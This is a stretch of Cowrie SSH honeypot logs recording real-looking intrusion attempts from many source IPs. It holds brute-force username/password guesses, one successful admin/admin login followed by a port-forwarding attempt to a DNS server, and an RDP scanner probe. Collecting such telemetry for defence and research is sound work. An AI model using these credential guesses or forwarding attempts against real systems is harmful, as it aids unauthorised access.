{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:01.753448Z","src_ip":"87.251.64.176","session":"e66e62f0ed5d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:02.046458Z","src_ip":"87.251.64.176","session":"e66e62f0ed5d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:02.149679Z","session":"e66e62f0ed5d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:02.249221Z","src_ip":"87.251.64.176","session":"e66e62f0ed5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:02.486164Z","src_ip":"87.251.64.176","session":"e66e62f0ed5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":40754,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f0dfc7f4247","protocol":"ssh","message":"New connection: 62.133.63.178:40754 (159.203.135.109:22) [session: 4f0dfc7f4247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:52.207790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:52.211302Z","src_ip":"62.133.63.178","session":"4f0dfc7f4247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:52.334101Z","src_ip":"62.133.63.178","session":"4f0dfc7f4247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:52.706472Z","src_ip":"62.133.63.178","session":"4f0dfc7f4247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:53.832607Z","src_ip":"62.133.63.178","session":"4f0dfc7f4247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":49954,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d68a191d761","protocol":"ssh","message":"New connection: 89.108.118.91:49954 (159.203.135.109:22) [session: 6d68a191d761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:56.453564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:56.458274Z","src_ip":"89.108.118.91","session":"6d68a191d761","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:56.600836Z","src_ip":"89.108.118.91","session":"6d68a191d761","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"makarova","message":"login attempt [root/makarova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:57.027031Z","src_ip":"89.108.118.91","session":"6d68a191d761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:58.172658Z","src_ip":"89.108.118.91","session":"6d68a191d761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":34695,"dst_ip":"159.203.135.109","dst_port":22,"session":"88b542927c82","protocol":"ssh","message":"New connection: 2.57.121.112:34695 (159.203.135.109:22) [session: 88b542927c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:07.687479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:07.694230Z","src_ip":"2.57.121.112","session":"88b542927c82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:07.803835Z","src_ip":"2.57.121.112","session":"88b542927c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4566","message":"login attempt [admin/4566] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:08.297282Z","src_ip":"2.57.121.112","session":"88b542927c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4500455","message":"login attempt [admin/4500455] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:09.405715Z","src_ip":"2.57.121.112","session":"88b542927c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4444444444","message":"login attempt [admin/4444444444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:10.520506Z","src_ip":"2.57.121.112","session":"88b542927c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4416","message":"login attempt [admin/4416] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:11.628749Z","src_ip":"2.57.121.112","session":"88b542927c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"427cobra","message":"login attempt [admin/427cobra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:12.737381Z","src_ip":"2.57.121.112","session":"88b542927c82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:13.846512Z","src_ip":"2.57.121.112","session":"88b542927c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":55634,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cc3aacf0199","protocol":"ssh","message":"New connection: 176.65.148.108:55634 (10.17.0.5:22) [session: 6cc3aacf0199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:31.666954Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:31.753737Z","src_ip":"176.65.148.108","session":"6cc3aacf0199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":55644,"dst_ip":"10.17.0.5","dst_port":22,"session":"f555230fa185","protocol":"ssh","message":"New connection: 176.65.148.108:55644 (10.17.0.5:22) [session: f555230fa185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:31.832424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:31.841041Z","src_ip":"176.65.148.108","session":"f555230fa185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:31.923308Z","src_ip":"176.65.148.108","session":"f555230fa185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"2019","password":"2019","message":"login attempt [2019/2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:32.180644Z","src_ip":"176.65.148.108","session":"f555230fa185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:33.265833Z","src_ip":"176.65.148.108","session":"f555230fa185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53147,"dst_ip":"159.203.135.109","dst_port":22,"session":"89bd71882b79","protocol":"ssh","message":"New connection: 152.42.212.128:53147 (159.203.135.109:22) [session: 89bd71882b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:41.819309Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:41.824529Z","src_ip":"152.42.212.128","session":"89bd71882b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:41.828388Z","src_ip":"152.42.212.128","session":"89bd71882b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":48461,"dst_ip":"159.203.135.109","dst_port":22,"session":"a891d5de55b3","protocol":"ssh","message":"New connection: 2.57.121.25:48461 (159.203.135.109:22) [session: a891d5de55b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:42.881526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:42.885777Z","src_ip":"2.57.121.25","session":"a891d5de55b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:42.980458Z","src_ip":"2.57.121.25","session":"a891d5de55b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17111993","message":"login attempt [user/17111993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:43.433548Z","src_ip":"2.57.121.25","session":"a891d5de55b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"171088","message":"login attempt [user/171088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:44.531400Z","src_ip":"2.57.121.25","session":"a891d5de55b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17101995","message":"login attempt [user/17101995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:45.632341Z","src_ip":"2.57.121.25","session":"a891d5de55b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17101978","message":"login attempt [user/17101978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:46.730915Z","src_ip":"2.57.121.25","session":"a891d5de55b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17091994","message":"login attempt [user/17091994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:47.829762Z","src_ip":"2.57.121.25","session":"a891d5de55b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:48.929283Z","src_ip":"2.57.121.25","session":"a891d5de55b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":40760,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab398bbda3c0","protocol":"ssh","message":"New connection: 103.75.182.198:40760 (159.203.135.109:22) [session: ab398bbda3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:52.580958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:52.605272Z","src_ip":"103.75.182.198","session":"ab398bbda3c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:52.892660Z","src_ip":"103.75.182.198","session":"ab398bbda3c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"werty","message":"login attempt [root/werty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:53.662224Z","src_ip":"103.75.182.198","session":"ab398bbda3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:54.920469Z","src_ip":"103.75.182.198","session":"ab398bbda3c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.114","src_port":48094,"dst_ip":"10.17.0.5","dst_port":22,"session":"68d00659e535","protocol":"ssh","message":"New connection: 148.113.221.114:48094 (10.17.0.5:22) [session: 68d00659e535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.186180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.191433Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
